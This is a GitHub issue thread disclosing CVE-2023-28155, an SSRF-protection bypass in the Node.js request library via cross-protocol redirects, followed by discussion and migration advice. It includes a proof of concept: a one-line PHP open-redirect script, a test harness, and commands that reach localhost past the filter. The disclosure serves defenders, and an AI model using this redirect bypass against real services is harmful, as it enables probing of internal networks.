

CVE-2023-28155 Request allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect

CVE-2023-28155 Request allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect - SzymonDrosdzol, GitHub.

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Content

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CVE-2023-28155 Request allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect

- Repository: request/request
- Opened by: SzymonDrosdzol
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- State: open

Body

Summary

I am a security researcher at [Doyensec](#).

During a security engagement I have identified a security vulnerability in the Request library. In a spirit of a Responsible Disclosure we have tried to contact the maintainer directly on 12/02/2022 and 01/18/2023 via email, but we have received no answer.

Please provide a communication channel that would allow us to share the technical details and the proposed fix, otherwise we will be forced to disclose the vulnerability publicly.

You can contact me via email: szymon@doyensec.com

Comments

ReduxMPX, 2023-03-10

Not my conversation to be involving myself in, but why would you be forced to disclose the vulnerability publicly if they don't respond?

ikkisoft, 2023-03-13

Please refer to <https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html> "Why are disclosure deadlines necessary?" if you're not familiar with standard vulnerability disclosure practices

SzymonDrosdzol, 2023-03-16

Summary

A Server Side Request Forgery (SSRF) attack describes the ability of an attacker to create network connections from a vulnerable web application to the internal network and other Internet hosts. Frequently, a SSRF vulnerability is used to attack internal services placed behind a firewall and not directly accessible from the Internet.

The Request library can be leveraged to initiate an HTTP / HTTPS connection and potentially gather information about the victim's internal infrastructure even if there's anti-SSRF filtering in place.

The issue has been assigned with a CVE-2023-28155 identification number.

Technical Description

In JavaScript HTTP clients the SSRF filters utilize the HTTP(S) agents to hook to the `onConnect` event to filter the target hosts before the communication starts. In case of a redirect with a protocol switch (eg. HTTP redirecting to HTTPS) the library deletes the agent, all event listeners and SSRF protection in the process. This behavior can be observed in the `lib/redirect.js`:

```
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}
```

Reproduction Steps

The issue can be demonstrated using the following steps:

1. Prepare an attacker-controlled server with the ability to redirect to arbitrary URLs.

Example PHP script:

```
<?php header('Location: '.$_GET["target"]); ?>
```

1. Set up a local HTTP server.

```
$ python3 -m http.server 80
```

1. Prepare a test script with anti-SSRF protection plugged into request library:

```
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
  uri: url,
  agent: ssrfFilter(url),
});

console.log("OK");
```

1. For the sake of an example, I have placed the redirect script on my server `tellico.fun`.

1. Verify that in case of a redirect without protocol switch the SSRF attempt is blocked:

```
$ node dev/request.js "https://tellico.fun/redirect.php?target=https://localhost/test"
Testing https://tellico.fun/redirect.php?target=https://localhost/test
events.js:353
    throw er; // Unhandled 'error' event
    ^

Error: Call to 127.0.0.1 is blocked.
```

1. Verify that in case of cross-protocol redirect the SSRF is still possible (also the local HTTP server logs should show the incoming request):

```
$ node dev/request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
OK
```

rgnova, 2023-03-17

I imagine this is where the problem lies?:

<https://github.com/request/request/blame/3c0cddc7c8eb60b470e9519da85896ed7ee0081e/lib/redirect.js#L111>

I'm having a hard time deciding if this should be considered a requestjs "vuln" or if its more of a "bug". It looks like requestjs was always vulnerable to SSRFs, and `ssrf-req-filter` is what fixed the problem. But given how requestjs is written, this bug is the way to bypass `ssrf-req-filter`.

Either way, it looks unfixable without editing requestjs's source.

And given that requestjs has been deprecated for years, my guess is this won't be fixed. So wouldn't this mean its now time to move to other libraries? At least for companies that need to keep their `npm audit`s "up to code"

ronjouch, 2023-03-21

Tangential call for help, and question addressed to subscribers of this issue: is it clear to you how to get SSRF protection in recently-introduced-in-node18 `fetch` like we do in axios/request with a plugin like ssrf-req-filter? (Putting this CVE aside, of course).

It's not to me. Community implementation `node-fetch` has support for something similar, but I can't find anything in the new implementation maintained by nodejs based on undici. I created <https://github.com/nodejs/undici/issues/2019> with details, any clues welcome there.

END Tangential call for help, sorry for the mild noise, please comment about SSRF-in-native-node-fetch at <https://github.com/nodejs/undici/issues/2019> , not here.

KernowSec, 2023-07-28

Sorry to revive this, @SzymonDrosdzol does this affect the `request-promise` library, and if so what are the reproduction steps?

SzymonDrosdzol, 2023-07-28

Hi @KernowSec

It seems that the `request-promise` is a simple wrapper around the original `request` library, so I would expect it to be just as vulnerable. Reproduction will be probably very similar to the original too.

The `request-promise` is also considered deprecated, so the best recommendation is to plan the migration to other libraries.

abhu85, 2026-02-26

Migration Guidance for CVE-2023-28155

Since this package is deprecated and will not receive a fix, I wanted to share migration guidance for teams still using `request`:

Quick Migration Path

For Node.js 18+: Use native `fetch`

```
// Before (request)
request.get({ uri: url, json: true }, (err, res, body) => { ... });

// After (native fetch)
const response = await fetch(url);
const data = await response.json();
```

For older Node.js or more features: Use `axios` (v1.8.3+ or v0.30.3+)

```
const axios = require('axios');
const response = await axios.get(url);
```

Alternative Libraries

Library	Best For	SSRF Protected
Native fetch	Node 18+, simple requests	Yes*
axios	Feature parity, browser compat	Yes*
got	Streaming, HTTP/2, retries	Yes*
undici	Performance critical	Yes*

*When properly configured with URL validation

Key Points

- No fix coming:** Package has been deprecated since February 2020
- 15M+ weekly downloads:** Many projects still affected
- SSRF bypass:** Cross-protocol redirects strip SSRF protection
- @cypress/request:** If using this fork, upgrade to v3.0.0 (fixed)

For request-promise users

Simply switch to `async/await` with `axios` or native `fetch` - the `callback-to-promise` conversion is handled natively.

This guidance is part of an ecosystem awareness effort to help teams migrate from deprecated packages with known vulnerabilities.

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